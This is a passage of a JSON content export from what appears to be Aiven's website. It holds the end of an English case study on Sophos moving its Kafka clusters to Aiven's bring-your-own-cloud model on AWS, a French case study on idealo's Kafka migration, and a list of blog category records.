it had to build a powerful new data platform to underpin it. A key component was Apache Kafka® which ingests and processes all the streaming data in real time. Sophos chose Kafka as it’s considered to be the best-in-class solution. Due to the high volume of data and critical nature of the pipelines, the company decided not to manage Kafka internally but instead chose Aiven’s managed Kafka service."}],"markDefs":[],"style":"normal"},{"_key":"7b81b35fd0f8","_type":"block","children":[{"_key":"77eb9d6315010","_type":"span","marks":[],"text":"“We enjoy support from the Aiven team which is responsible for versioning, upgrades and so on,” says Brian Campbell, Senior Director Software Engineering at Sophos. “I have a team of 30 people on the data platform. If we were managing the Kafka clusters in house, I’d need another team of five to six people.”"}],"markDefs":[],"style":"normal"},{"_key":"724dbbb7b867","_type":"block","children":[{"_key":"2feb3fefe99b0","_type":"span","marks":[],"text":"Sophos enriches its Kafka data streams by running sophisticated analytics, rules engines, AI models and other elements to gain additional context, insights and value. This helps identify and report anomalies and make a diagnosis about the nature of the threat, the level of risk, and how best to react."}],"markDefs":[],"style":"normal"},{"_key":"81b91c2bd793","_type":"block","children":[{"_key":"3820394f28e00","_type":"span","marks":[],"text":"“We handle complex processing, with multiple steps involved in data ingestion and enrichment. Kafka plays a crucial role in ensuring both reliable delivery and data resiliency throughout the process,\" says Campbell."}],"markDefs":[],"style":"normal"}],"title":"Apache Kafka: the best-in-class solution","topOverlap":false,"variant":"oneColumn"},{"_key":"080d1d8455d8","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"24179837499e","_type":"block","children":[{"_key":"df91d1ab14100","_type":"span","marks":[],"text":"By early 2024, Campbell’s team had 56 Kafka clusters in production and another 22 in pre-production environments running across nine AWS regions globally. “Our Kafka pipelines had grown to the point that they ran in nine AWS regions, and in just one region, we had 50 terabytes of data running through them every day, increasing by 5% per month,” says Campbell. “Fortunately, Aiven proved that it could scale with us without any service degradation.”"}],"markDefs":[],"style":"normal"},{"_key":"9cfa94c7c7e4","_type":"block","children":[{"_key":"6631c7925dc70","_type":"span","marks":[],"text":"However, Sophos Central had high operational costs, with Kafka itself a major contributor. The company was constantly looking for ways to reduce operational expenses, considering it a competitive advantage that helps bring down the overall unit costs of its products and services."}],"markDefs":[],"style":"normal"},{"_key":"ba92e2c89a5a","_type":"block","children":[{"_key":"070cd02cf7ef0","_type":"span","marks":[],"text":"Of course, any reduction in cost could not come at the expense of performance. “Kafka is mission critical,” says Campbell. “Any data loss compromises our ability to detect and prevent future threats from cyberattacks.”"}],"markDefs":[],"style":"normal"}],"title":"Kafka pipelines handle 50 terabytes of data in each region, every day, increasing by 5% per month","topOverlap":false,"variant":"oneColumn"},{"_key":"9a36a7ff7d78","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"076661dcec72","_type":"block","children":[{"_key":"3784ef65816e0","_type":"span","marks":[],"text":"Initially, the Aiven for Kafka service was deployed on Aiven-managed infrastructure on AWS. In this arrangement, Sophos was not able to apply discounted pricing from AWS to Kafka."}],"markDefs":[],"style":"normal"},{"_key":"85f953ad7525","_type":"block","children":[{"_key":"16a967f8e75d0","_type":"span","marks":[],"text":"Sophos looked into the Aiven’s BYOC model"},{"_key":"16a967f8e75d1","_type":"span","marks":["em"],"text":" "},{"_key":"16a967f8e75d2","_type":"span","marks":[],"text":"on AWS as a way of reducing its Kafka-related costs without sacrificing performance or scalability. With this model, Aiven would continue to manage Kafka, but importantly the clusters would run on cloud infrastructure within Sophos’s AWS account. This would allow Sophos to apply its AWS compute savings plans to the Aiven service."}],"markDefs":[],"style":"normal"},{"_key":"e134d1f42362","_type":"block","children":[{"_key":"d78e4f2a10990","_type":"span","marks":[],"text":"Sophos began its BYOC migration on AWS with proofs of concept and testing before transitioning to live migration. Aiven's self-service automation for AWS BYOC streamlined the process, enabling a rapid and successful migration."}],"markDefs":[],"style":"normal"},{"_key":"e6adc1aebe8b","_type":"block","children":[{"_key":"256bd1dfebd50","_type":"span","marks":[],"text":"“We migrated all 79 Kafka clusters with BYOC, including some very large instances, across the nine AWS regions with zero downtime and zero data loss. And we did it in a single month, rather than the four months we’d anticipated,” says Campbell."}],"markDefs":[],"style":"normal"},{"_key":"fea1e4fb0f0d","_type":"block","children":[{"_key":"502424f2ab6e0","_type":"span","marks":[],"text":"“Data loss is unacceptable in our business. If we had seen any data loss or downtime from the migration, it would have compromised our ability to safeguard our customers. Instead, all of them remain protected at every stage of the BYOC AWS migration.”"}],"markDefs":[],"style":"normal"},{"_key":"7a3604bb0c56","_type":"block","children":[{"_key":"481b243a22440","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Sophos adopts Bring Your Own Cloud from Aiven","topOverlap":false,"variant":"oneColumn"},{"_key":"f18d0b895aae46391be4463898a7d3c6","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"ad0e1d709ae0","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"21306fbede57","_type":"block","children":[{"_key":"f69648ca6aa70","_type":"span","marks":[],"text":"With the successful transition, Sophos is now taking advantage of an AWS savings plan. “Aiven’s BYOC on AWS solution has saved us between 30% and 40% of our total spend on the mission-critical Aiven for Kafka service,” says Campbell. “And cost savings translate into competitive advantage for us.”"}],"markDefs":[],"style":"normal"},{"_key":"c59c6f0c82f7","_type":"block","children":[{"_key":"6b1a26c92c2d0","_type":"span","marks":[],"text":"All this was achieved with no performance degradation, which means Sophos has maintained its mean-time-to-detect (MTTD) of an attack to an industry-beating five minutes. Security is enhanced with BYOC on AWS by enabling more strategic and controlled access restrictions. For instance, workloads can be isolated from external networks, reducing potential vulnerabilities."}],"markDefs":[],"style":"normal"},{"_key":"d662ffab4e1a","_type":"block","children":[{"_key":"5a0f1e0af47e0","_type":"span","marks":[],"text":"Overall, Sophos has successfully moved to a more cost-effective cloud data platform, capable of handling its projected 5% month-on-month growth in data volumes and enabling it to maintain its competitive edge in the ever-evolving security landscape. “Since moving Aiven for Kafka to a BYOC on AWS model, we’re better placed to outmaneuver the competition, stay ahead of threat actors and keep protecting our customers.”"}],"markDefs":[],"style":"normal"}],"title":"More data, lower costs and continuously high performance ","topOverlap":false,"variant":"oneColumn"},{"_key":"b3e6f3db964a8993c653993613f9f540","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"977169b30609","_type":"block","children":[{"_key":"64ab76830d610","_type":"span","marks":[],"text":"As data volumes continue to grow, Sophos will continue to rely on Aiven for Kafka, and its BYOC on AWS model, to manage its data flows and power its cybersecurity solutions. Sophos is also exploring additional Aiven services, including Aiven for Valkey™ for high-performance caching, message queues and efficient data storage."}],"markDefs":[],"style":"normal"}],"title":"A solid foundation for the future","topOverlap":false,"variant":"oneColumn"}],"heroHasVideo":false,"heroSubtitle":"Cybersecurity leader secures competitive advantage while saving 30%-40% on Apache Kafka costs while streaming 50TB of data daily, per region, with no data loss","heroTitle":"Sophos Unlocks Value with Bring Your Own Cloud for AWS from Aiven","image":{"_type":"mainImage","asset":{"_ref":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_type":"reference"}},"publishedAt":"2024-10-11T07:53:00.000Z","seo":{"_type":"metaData","metaDescription":"Cybersecurity leader secures competitive advantage while saving 30%-40% on Apache Kafka costs while streaming 50TB of data daily, per region, with no data loss","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_type":"reference"}},"metaTitle":"Sophos Unlocks Value with Bring Your Own Cloud for AWS from Aiven"},"slug":{"_type":"slug","current":"/case-studies/sophos-unlocks-value-with-bring-your-own-cloud-for-aws-from-aiven"},"title":"Sophos Unlocks Value with Bring Your Own Cloud for AWS from Aiven ","ytId":"mPWxizlA3so"} {"__i18n_base":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2023-11-09T10:56:35Z","_id":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_fr","_rev":"lbpMA3MBWy0eIji4xb3VMs","_type":"caseStudy","_updatedAt":"2024-12-08T18:36:50Z","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a3bca43e0ddd","_type":"block","children":[{"_key":"1bf4253839c50","_type":"span","marks":[],"text":"En tant que l'une des principales plateformes de comparaison en ligne pour les produits, les voyages et les vols en Europe, "},{"_key":"85309132d778","_type":"span","marks":["abf2c1d6ef4f"],"text":"idealo"},{"_key":"d62816e6c8b2","_type":"span","marks":[],"text":" est une entreprise axée sur les données. Faisant partie d'"},{"_key":"f31448f157df","_type":"span","marks":["9a5640fa0ee2"],"text":"Axel Springer SE"},{"_key":"962fa2596307","_type":"span","marks":[],"text":", l'entreprise ambitionne de renforcer sa présence à travers l'Europe. Cependant, avec une infrastructure de données sur site qui peinait à évoluer, idealo a décidé que le passage à AWS était une partie essentielle de sa stratégie de croissance. idealo a choisi Aiven pour gérer son infrastructure Apache Kafka® dans le cloud, soulageant ainsi les équipes internes de la gestion et leur permettant de se concentrer sur l'innovation, consolidant ainsi sa position sur un marché hautement compétitif."}],"markDefs":[{"_key":"abf2c1d6ef4f","_type":"link","href":"https://idealo.de"},{"_key":"9a5640fa0ee2","_type":"link","href":"https://www.axelspringer.com/en/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"d452666f8f1d2243cd5adfe0884a3615","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-a878846b5cf72b1f94a996df2b11be9fbb8b6546-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"17a6d7672f37","_type":"block","children":[{"_key":"1f03d7ea7ea80","_type":"span","marks":[],"text":"idealo a commencé en 2000 avec pour mission d'aider les utilisateurs à prendre les meilleures décisions d'achat grâce à des prix transparents. Elle fait partie du géant des médias et de la technologie Axel Springer SE depuis 2007. Chaque jour, idealo analyse des milliards d'offres provenant de boutiques de toutes tailles et attribue chaque offre à un produit spécifique que les utilisateurs peuvent facilement trouver dans l'application et sur le site web idealo. L'entreprise reçoit en moyenne 76 millions de visites par mois rien qu'en Allemagne et affiche plus de 500 millions d'offres provenant d'environ 50 000 boutiques, ce qui en fait l'un des sites de commerce électronique les plus populaires en Allemagne et une plateforme leader dans le domaine très concurrentiel de la comparaison de prix. idealo s'est également étendu à la France, au Royaume-Uni, à l'Italie, à l'Autriche et à l'Espagne, et continue d'innover et de diversifier son offre pour rester en tête de la concurrence et atteindre son objectif de devenir le numéro un en Europe."}],"markDefs":[],"style":"normal"}],"title":"Prix transparents pour les biens de consommation à travers l'Europe","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-3d751e843c77b644112826d961c772d980f60021-1800x668-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"54fc652f9811","_type":"block","children":[{"_key":"016c41d0d3850","_type":"span","marks":[],"text":"Au cours des deux dernières décennies, les sites de commerce électronique et de comparaison de prix d'idealo ont considérablement grandi. L'entreprise a ajouté des commerçants et des lignes de produits, s'est étendue à différents marchés européens et a répondu aux tendances changeantes du commerce de détail en ligne, comme le Black Friday. À mesure que l'entreprise se développait, son infrastructure informatique subissait de plus en plus de pression, notamment pendant les périodes de trading à fort volume comme Noël.\n\n« Nous avons pris la décision stratégique de déplacer notre infrastructure informatique vers AWS pour une meilleure scalabilité. Notre centre de données ne pouvait pas fournir la capacité nécessaire pour développer l'entreprise et soutenir les projets de nos équipes », déclare Wanis Fahmy, Ingénieur cloud senior chez idealo.\n\nChaque jour, idealo collabore avec des milliers de commerçants qui partagent des informations sur leurs produits listés – y compris les prix, les descriptions et les images. idealo traite, analyse, classe et partage ensuite ces données sur son site web. « Avec 50 000 commerçants et 500 millions d'offres de produits, nous gérons d'énormes quantités de données. Avoir une infrastructure de données rapide et fiable est une partie critique de notre modèle commercial. Les gens veulent le meilleur prix maintenant, pas il y a cinq minutes. Les retards, les données inexactes ou les interruptions de service pourraient nuire à la confiance dans la marque idealo », déclare Fahmy. En conséquence, idealo utilise depuis longtemps Apache Kafka, la plateforme open source de streaming de données.\n\nAvant de migrer vers AWS, idealo avait 30 clusters Kafka sur site transférant des données entre les systèmes et applications soutenant son service de comparaison de prix. L'entreprise s'est fixé un plan de migration ambitieux vers le cloud à réaliser en seulement 18 mois. Le déplacement de l'infrastructure de données, y compris Kafka, était une partie essentielle du plan.\n\nBien que l'équipe ait acquis une solide expérience dans la gestion des clusters Kafka sur site, il y avait des préoccupations quant à leur suffisance pour une opération basée sur le cloud. Toute perte de performance ou, pire encore, tout temps d'arrêt entraînerait une perte immédiate et notable de trading. idealo avait besoin d'un partenaire fiable pour aider à la migration et à la gestion subséquente de Kafka.\n\n« S'assurer que notre déploiement Kafka est toujours à jour et conforme aux meilleures pratiques est une tâche énorme pour nous. Passer au cloud public nous a donné l'opportunité de confier ce stress aux experts, afin que notre équipe puisse se concentrer sur notre business », déclare Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Migration ambitieuse vers le cloud pour soutenir l'expansion de l'entreprise","variant":"oneColumn"},{"_key":"a5d1e780547561bfb717b6900fdef8d9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-b7190c3a464fe3fbe8cb38336a76804a409b0453-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"e65441f7cec0","_type":"block","children":[{"_key":"dce66b15171c0","_type":"span","marks":[],"text":"idealo a évalué différents fournisseurs et l'équipe a choisi Aiven. « Aiven était le seul fournisseur à répondre à tous les critères », déclare Fahmy. « Les autres fournisseurs SaaS ne pouvaient pas égaler les capacités techniques de la plateforme de données Aiven et nous voulions également de la prévisibilité, en particulier en ce qui concerne les prix. »\n\nLe modèle de tarification simple et facile à comprendre d'Aiven a été déterminant dans l'évaluation. « Passer au cloud public était nouveau pour nous, avec beaucoup de modèles de coûts et de tarification différents. Nous ne savions pas comment cela se passerait – mais nous savions que des coûts élevés comme les frais de sortie de données pourraient vraiment compromettre nos plans de changement », explique Fahmy.\n\nLa migration vers AWS serait échelonnée, certaines équipes quittant les centres de données plus tôt que d'autres. « L'une des exigences techniques clés était que les clusters Kafka fonctionnent en mode double – en utilisant le peering de Virtual Private Cloud (VPC) pour assurer la connexion aux clusters sur site, tout en permettant l'accès à ceux déjà migrés vers AWS. Aiven était le seul fournisseur capable de fournir la flexibilité pour fonctionner dans les deux modes. Il était très facile de passer d'un mode à l'autre, par exemple, pour désactiver l'accès public et se fier uniquement au peering et vice versa », explique Fahmy."}],"markDefs":[],"style":"normal"}],"title":"Répondre à tous les critères – disponibilité, fiabilité et tarification prévisible","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-ffb85312328b66d3c7a00143995222d154b4794e-1700x631-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"92700fa66bf6","_type":"block","children":[{"_key":"53f6868077e30","_type":"span","marks":[],"text":"idealo a entrepris un proof of concept réussi avec Aiven pour Apache Kafka®, qui a fourni toutes les assurances techniques nécessaires. Peu de temps après, il a commencé à déplacer les clusters Kafka vers Aiven sur AWS.\n\nHoney Feelisch, chef de projet chez idealo, a dirigé la migration vers AWS. Même lorsque certaines équipes faisaient encore fonctionner leurs applications sur site, Feelisch a encouragé tout le monde à commencer à utiliser Aiven pour Apache Kafka comme un hub central de données en reflétant ou en répliquant les messages. « Cette stratégie nous a permis de démêler les dépendances entre les équipes. Elle a également donné à chacun la liberté et la capacité d'écouter les messages Kafka et de réfléchir à la manière dont ils pouvaient en bénéficier », déclare Feelisch.\n\nTrois mois après la finalisation du proof of concept, l'infrastructure Kafka avait été déplacée avec succès en production dans le cloud. Aujourd'hui, environ 60 clusters Kafka sont gérés par Aiven, soutenant un certain nombre d'équipes différentes avec une gamme de cas d'utilisation de plus en plus large.\n\n« Nous utilisons beaucoup Kafka pour la communication asynchrone basée sur des événements entre les équipes et leurs divers microservices », explique Fahmy. « Le deuxième plus grand cas d'utilisation tire parti d'Aiven pour Apache Kafka® Connect, que certaines de nos équipes utilisent pour l'ingestion de données dans notre big data lake sur AWS. »\n\nDepuis le passage à Aiven, la popularité et l'utilisation de Kafka ont augmenté. « Avec Aiven, nos clusters Kafka sont beaucoup plus fiables qu'auparavant. Cela signifie que nos équipes peuvent se concentrer sur le cœur de métier et ne pas se soucier de la maintenance. Il est également très facile de démarrer un nouveau cluster maintenant. Cela le rend beaucoup plus attractif et accessible pour d'autres équipes », déclare Fahmy.\n\nD'un point de vue commercial, idealo a la certitude que les composants Kafka de son infrastructure de données critique sont hautement disponibles à tout moment et que les données continueront d'être transférées rapidement et avec succès même pendant les périodes de pointe comme le Black Friday.\n\n« Aiven nous aide à accueillir l'augmentation des charges de travail et des volumes de données. Cela signifie que les systèmes qui sous-tendent notre site de comparaison de prix peuvent évoluer et s'ajuster à nos besoins commerciaux à mesure que nous continuons de gagner en popularité, d'étendre nos marchés et d'atteindre nos ambitieux objectifs de croissance », déclare Andreas Hankel, CTO, idealo."}],"markDefs":[],"style":"normal"}],"title":"Aiven pour Apache Kafka soutient une gamme de cas d'utilisation de plus en plus large","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-2547027a1f3d73d158338af245f42c35c93ca6a3-1866x880-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"89a36f824d19","_type":"block","children":[{"_key":"9ef4ca7b05450","_type":"span","marks":[],"text":"L'objectif de l'année écoulée a été de migrer les charges de travail vers AWS et Aiven pour Apache Kafka. Mais comme le note Fahmy, travailler avec Aiven crée de nouvelles possibilités et de nouveaux cas d'utilisation qui n'étaient pas possibles auparavant. « Dans le passé, certaines équipes évitaient d'utiliser Kafka parce que c'était compliqué, mais maintenant, grâce à Aiven, elles ont l'opportunité de créer de nouveaux clusters et de nouveaux services clients basés sur cela. À l'avenir, nous allons beaucoup apprendre et je suis impatient de voir l'innovation que cela va susciter. »"}],"markDefs":[],"style":"normal"}],"title":"Vers de nouvelles innovations commerciales","variant":"oneColumn"},{"_key":"29c8393da414a2de2722008b308beed0","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-6a65fcef193921eeea8abb0b283c15a055b33941-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false}],"heroSubtitle":"L'infrastructure Apache Kafka® déplacée vers AWS apporte de nouveaux niveaux de scalabilité et de fiabilité pour soutenir la croissance","heroTitle":"Aiven soutient idealo, l'un des principaux sites de comparaison de prix en Europe, dans sa quête pour sécuriser la première position","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-850b2b6a559fca7222c80739c7e615e9e0c9cbcd-5816x3640-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-11-10T07:00:00.000Z","seo":{"_type":"metaData","metaDescription":"L'infrastructure Apache Kafka® déplacée vers AWS apporte de nouveaux niveaux de scalabilité et de fiabilité pour soutenir la croissance","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"metaTitle":"Aiven soutient idealo, l'un des principaux sites de comparaison de prix en Europe, dans sa quête pour sécuriser la première position"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-supports-idealo"},"title":"Aiven soutient idealo, l'un des principaux sites de comparaison de prix en Europe, dans sa quête pour sécuriser la première position"} {"_createdAt":"2022-06-15T04:35:10Z","_id":"ksykM2RWxnnen4wmbNFR6","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/announcements"},"title":{"en":"Announcements"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"6M8DLtFLBnGLS1UOa20n4K","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/benchmarks"},"title":{"en":"Benchmarks"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"3RInNwDlIfGT91IDLKEgDC","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/featured"},"title":{"en":"Featured post"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"3DG5ZYx4kaoRquQmn345yY","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/kafka"},"title":{"en":"Apache Kafka®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"4Ys3OINPj3glC5uOMr5dqF","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/clickhouse"},"title":{"en":"ClickHouse®"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"9yQ4jxpUoNWbSOSWYlghM","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/product-updates"},"title":{"en":"Product updates"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"2vw3G7QzI7VENTWVzT0PMh","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/introduction"},"title":{"en":"Technology basics"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"1nf4L7bvQOLXPjLRjAxmDO","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/security"},"title":{"en":"Security"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"6CI2flR8OpeiqtSCkEmG7Z","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/features"},"title":{"en":"Features"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"1ErERmLUOz2onJX3MFydSX","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/open-mic"},"title":{"en":"Open Mic"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"4oOXmVdOFVtsrwUNsesw8P","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/mysql"},"title":{"en":"MySQL"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"5Ry1OHE6tZ0LKPQxJ9XkJd","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/tips"},"title":{"en":"Tech tips"}} {"_createdAt":"2022-06-15T04:35:10Z","_id":"2q1kxdEuQtJX4PDTtjnfGe","_rev":"LKSVNTHAdZDLniZ7u2w35j","_type":"category","_updatedAt":"2022-06-28T11:35:30Z","description":{},"slug":{"_type":"slug","current":"/blog/category/kubernetes"},"title":{"en":"Kubernetes®"}} {"_createdAt":"2023-03-14T17:03:46Z","_id":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_rev":"5XbIyfqcIkGlU3arG5Bg4I","_type":"category","_updatedAt":"2023-04-11T11:28:25Z","slug":{"_type":"slug","current":"/blog/category/platform"},"title":{"_type":"localeString","en":"Platform"}} {"_createdAt":"2023-04-11T11:19:24Z","_id":"80870cf8-5af8-4604-9c1e-b41da807c72f","_rev":"ULcVtA1fOCO5xNRu1WHCrT","_type":"category","_updatedAt":"2023-04-11T11:28:33Z","slug":{"_type":"slug","current":"/blog/category/free-plan"},"title":{"_type":"localeString","en":"Free plan"}} {"_createdAt":"2024-02-20T13:25:05Z","_id":"82a49fe5-7ab8-447c-8851-470b8f740277","_rev":"ie5WJlLr1SLUBaBgCnywSW","_type":"category","_updatedAt":"2024-02-20T13:25:05Z","slug":{"_type":"slug","current":"/blog/category/eversql"},"title":{"_type":"localeString","en":"EverSQL"}} 